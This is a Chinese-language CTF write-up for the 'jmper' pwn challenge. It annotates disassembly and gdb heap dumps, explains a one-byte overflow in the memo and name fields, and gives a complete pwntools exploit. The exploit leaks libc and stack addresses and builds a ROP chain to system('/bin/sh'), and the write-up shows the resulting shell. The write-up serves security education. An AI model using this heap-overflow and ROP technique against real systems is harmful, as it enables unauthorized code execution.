| | ||||:   0x00400ad7      mov edi, 1
| | ||||:   0x00400adc      call sym.imp.exit                          ; void exit(int status)
| | ||||:   ; JMP XREF from 0x00400acb (sym.f)
| --------> 0x00400ae1      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
| | ||||:   0x00400ae8      mov edx, dword [local_1ch]
| | ||||:   0x00400aeb      movsxd rdx, edx
| | ||||:   0x00400aee      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
| | ||||:   0x00400af2      mov rax, qword [rax + 0x28]                ; [0x28:8]=-1 ; 取出 my_class[id]->name
| | ||||:   0x00400af6      mov rsi, rax
| | ||||:   0x00400af9      mov edi, 0x400d61
| | ||||:   0x00400afe      mov eax, 0
| | ||||:   0x00400b03      call sym.imp.printf                         ; 打印出 my_class[id]->name
| |,======< 0x00400b08      jmp 0x400ba3                                ; 回到菜单
| ||||||:   ; JMP XREF from 0x00400a84 (sym.f)
| |||||`--> 0x00400b0d      mov eax, dword [local_18h]
| ||||| :   0x00400b10      cmp eax, 5                                 ; 5
| |||||,==< 0x00400b13      jne 0x400b99
| ||||||:   0x00400b19      mov esi, 0x400d5d                           ; 选项 5
| ||||||:   0x00400b1e      mov edi, 0x400d61
| ||||||:   0x00400b23      mov eax, 0
| ||||||:   0x00400b28      call sym.imp.printf                        ; int printf(const char *format)
| ||||||:   0x00400b2d      lea rax, [local_1ch]
| ||||||:   0x00400b31      mov rsi, rax
| ||||||:   0x00400b34      mov edi, 0x400d3c
| ||||||:   0x00400b39      mov eax, 0
| ||||||:   0x00400b3e      call sym.imp.__isoc99_scanf                 ; 读入 id 到 [local_1ch]
| ||||||:   0x00400b43      call sym.imp.getchar                       ; int getchar(void)
| ||||||:   0x00400b48      mov edx, dword [local_1ch]
| ||||||:   0x00400b4b      mov eax, dword [obj.student_num]           ; [0x602028:4]=0
| ||||||:   0x00400b51      cmp edx, eax                                ; 判断 id 是否有效
| ========< 0x00400b53      jge 0x400b5c                                ; 无效时跳转
| ||||||:   0x00400b55      mov eax, dword [local_1ch]
| ||||||:   0x00400b58      test eax, eax                               ; 根据 id 设置符号位
| ========< 0x00400b5a      jns 0x400b70                                ; 符号位为 0 时跳转,即 id 大于等于 0
| ||||||:   ; JMP XREF from 0x00400b53 (sym.f)
| --------> 0x00400b5c      mov edi, str.Invalid_ID.                   ; 0x400d64 ; "Invalid ID."
| ||||||:   0x00400b61      call sym.imp.puts                          ; int puts(const char *s)
| ||||||:   0x00400b66      mov edi, 1
| ||||||:   0x00400b6b      call sym.imp.exit                          ; void exit(int status)
| ||||||:   ; JMP XREF from 0x00400b5a (sym.f)
| --------> 0x00400b70      mov rax, qword [obj.my_class]              ; [0x602030:8]=0
| ||||||:   0x00400b77      mov edx, dword [local_1ch]
| ||||||:   0x00400b7a      movsxd rdx, edx
| ||||||:   0x00400b7d      mov rax, qword [rax + rdx*8]                ; 取出 my_class[id]
| ||||||:   0x00400b81      add rax, 8                                  ; 取出 my_class[id]->memo
| ||||||:   0x00400b85      mov rsi, rax
| ||||||:   0x00400b88      mov edi, 0x400d61
| ||||||:   0x00400b8d      mov eax, 0
| ||||||:   0x00400b92      call sym.imp.printf                         ; 打印出 my_class[id]->memo
| ========< 0x00400b97      jmp 0x400ba3                                ; 回到菜单
| ||||||:   ; JMP XREF from 0x00400b13 (sym.f)
| |||||`--> 0x00400b99      mov edi, 0
| ||||| :   0x00400b9e      call sym.imp.exit                          ; void exit(int status)
| ||||| |   ; XREFS: JMP 0x00400b97  JMP 0x00400b08  JMP 0x00400a79  JMP 0x00400a5b  JMP 0x004009ae  JMP 0x00400990  JMP 0x004008e3  
\ `````-`=< 0x00400ba3      jmp 0x40082f                                ; 循环继续
[0x00400730]> is ~student_num
048 0x00002028 0x00602028 GLOBAL OBJECT    4 student_num

首先注意到这个函数没有 return 指令,要想离开只有两种方法,一个是 exit(),另一个是 longjmp() 跳回 main 函数,既然这么设置那当然是有用意的。

通过分析,可以得到 student 结构体和数组 my_class:

struct student {
    uint8_t id;
    char memo[0x20];
    char *name;
} student;

struct student *my_class[0x1e];

漏洞就是在读入 memo 和 name 的时候都存在的 one-byte overflow,其中 memo 会覆盖掉 name 指针的低字节。考虑可以将 name 指针改成其它地址,并利用修改 name 的功能修改地址上的内容。

漏洞利用

所以我们的思路是通过 one-byte overflow,使 my_class[0]->name 指向 my_class[1]->name,从而获得任意地址读写的能力。然后泄漏 system 函数地址和 main 函数的返回地址,将返回地址覆盖以制造 ROP,调用 system('/bin/sh') 获得 shell。

overflow

def overflow():
    add()   # idx 0
    add()   # idx 1
    write_memo(0, 'A'*0x20 + '\x78')

首先添加两个 student:

gdb-peda$ p student_num
$1 = 0x2
gdb-peda$ x/2gx my_class
0x603010:	0x00000000006031e0	0x0000000000603250
gdb-peda$ x/30gx *my_class-0x10
0x6031d0:	0x0000000000000000	0x0000000000000041  <-- student chunk 0
0x6031e0:	0x0000000000000000	0x0000000000000000  <-- my_class[0]->name   <-- my_class[0]->memo
0x6031f0:	0x0000000000000000	0x0000000000000000
0x603200:	0x0000000000000000	0x0000000000603220                          <-- my_class[0]->name
0x603210:	0x0000000000000000	0x0000000000000031  <-- name chunk 0
0x603220:	0x0000000000000000	0x0000000000000000
0x603230:	0x0000000000000000	0x0000000000000000
0x603240:	0x0000000000000000	0x0000000000000041  <-- student chunk 1
0x603250:	0x0000000000000001	0x0000000000000000  <-- my_class[1]->name   <-- my_class[1]->memo
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000603290                          <-- my_class[1]->name
0x603280:	0x0000000000000000	0x0000000000000031  <-- name chunk 1
0x603290:	0x0000000000000000	0x0000000000000000
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51  <-- top chunk

然后利用 my_class[0]->memo 的溢出修改 my_class[0]->name,使其指向 my_class[1]->name:

gdb-peda$ x/30gx *my_class-0x10
0x6031d0:	0x0000000000000000	0x0000000000000041
0x6031e0:	0x0000000000000000	0x4141414141414141
0x6031f0:	0x4141414141414141	0x4141414141414141
0x603200:	0x4141414141414141	0x0000000000603278                          <-- my_class[0]->name
0x603210:	0x0000000000000000	0x0000000000000031
0x603220:	0x0000000000000000	0x0000000000000000
0x603230:	0x0000000000000000	0x0000000000000000
0x603240:	0x0000000000000000	0x0000000000000041
0x603250:	0x0000000000000001	0x0000000000000000
0x603260:	0x0000000000000000	0x0000000000000000
0x603270:	0x0000000000000000	0x0000000000603290                          <-- my_class[1]->name
0x603280:	0x0000000000000000	0x0000000000000031
0x603290:	0x0000000000000000	0x0000000000000000
0x6032a0:	0x0000000000000000	0x0000000000000000
0x6032b0:	0x0000000000000000	0x0000000000020d51

通过 overflow,我们控制了 my_class[1]->name,可以对任意地址(除了GOT表)读或写。

leak

然后我们可以修改 my_class[1]->name 为 libc 中任意符号的地址,从而泄漏出需要的地址信息:

def leak():
    global system_addr
    global main_ret_addr

    write_name(0, p64(elf.got['puts']))
    show_name(1)
    puts_addr = (u64(io.recvline()[:6] + '\x00'*2))

    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    environ_addr = libc_base + libc.symbols['environ']

    write_name(0, p64(environ_addr))
    show_name(1)
    stack_addr = u64(io.recvline()[:6] + '\x00'*2)
    main_ret_addr = stack_addr - 0xf0

    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)
    log.info("main return address: 0x%x" % main_ret_addr)

于是我们就得到了 system 函数的地址和 main 函数的返回地址。

这里我们利用了 libc 中的 environ 符号,该符号执行一个栈上的地址,通过计算偏移即可得到返回地址。

[*] libc base: 0x7ffff7a15000
[*] system address: 0x7ffff7a5b590
[*] main return address: 0x7fffffffed78

overwrite

def overwrite():
    write_name(0, p64(0x602028))        # student_num
    write_name(1, '/bin/sh\x00')
    write_name(0, p64(main_ret_addr))
    write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr))  # system('/bin/sh')

接下来我们将 student_num 改为 '/bin/sh',这样一方面为 system 提供了参数,另一方面可以触发 longjmp。

gdb-peda$ x/s 0x602028
0x602028 <student_num>:	"/bin/sh"
gdb-peda$ x/3gx 0x7fffffffed78
0x7fffffffed78:	0x0000000000400cc3	0x0000000000602028
0x7fffffffed88:	0x00007ffff7a5b590

pwn

def pwn():
    add()   # call longjmp to back to main
    io.interactive()

Bingo!!!

$ python exp.py
[+] Starting local process './jmper': pid 3935
[*] Switching to interactive mode
Exception has occurred. Jump!
Nice jump! Bye :)
$ whoami
firmy

exploit

完整的 exp 如下:

#!/usr/bin/env python

from pwn import *

# context.log_level = 'debug'

io = process(['./jmper'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('jmper')
libc = ELF('libc-2.19.so')

pop_rdi_ret = 0x400cc3

def add():
    io.sendlineafter("Bye :)\n", '1')

def write_name(idx, content):
    io.sendlineafter("Bye :)\n", '2')
    io.sendlineafter("ID:", str(idx))
    io.sendlineafter("name:", content)

def write_memo(idx, content):
    io.sendlineafter("Bye :)\n", '3')
    io.sendlineafter("ID:", str(idx))
    io.sendlineafter("memo:", content)

def show_name(idx):
    io.sendlineafter("Bye :)\n", '4')
    io.sendlineafter("ID:", str(idx))

def show_memo(idx):
    io.sendlineafter("Bye :)\n", '5')
    io.sendlineafter("ID:", str(idx))

def overflow():
    add()   # idx 0
    add()   # idx 1
    write_memo(0, 'A'*0x20 + '\x78')

def leak():
    global system_addr
    global main_ret_addr

    write_name(0, p64(elf.got['puts']))
    show_name(1)
    puts_addr = (u64(io.recvline()[:6] + '\x00'*2))

    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    environ_addr = libc_base + libc.symbols['environ']

    write_name(0, p64(environ_addr))
    show_name(1)
    stack_addr = u64(io.recvline()[:6] + '\x00'*2)
    main_ret_addr = stack_addr - 0xf0

    log.info("libc base: 0x%x" % libc_base)
    log.info("system address: 0x%x" % system_addr)
    log.info("main return address: 0x%x" % main_ret_addr)

def overwrite():
    write_name(0, p64(0x602028))        # student_num
    write_name(1, '/bin/sh\x00')
    write_name(0, p64(main_ret_addr))
    write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr))  # system('/bin/sh')

def pwn():
    add()   # call longjmp to back to main
    io.interactive()

if __name__ == "__main__":
    overflow()
    leak()
    overwrite()
    pwn()

参考资料

https://ctftime.org/task/3169
下载文件
题目复现
题目解析
漏洞利用
参考资料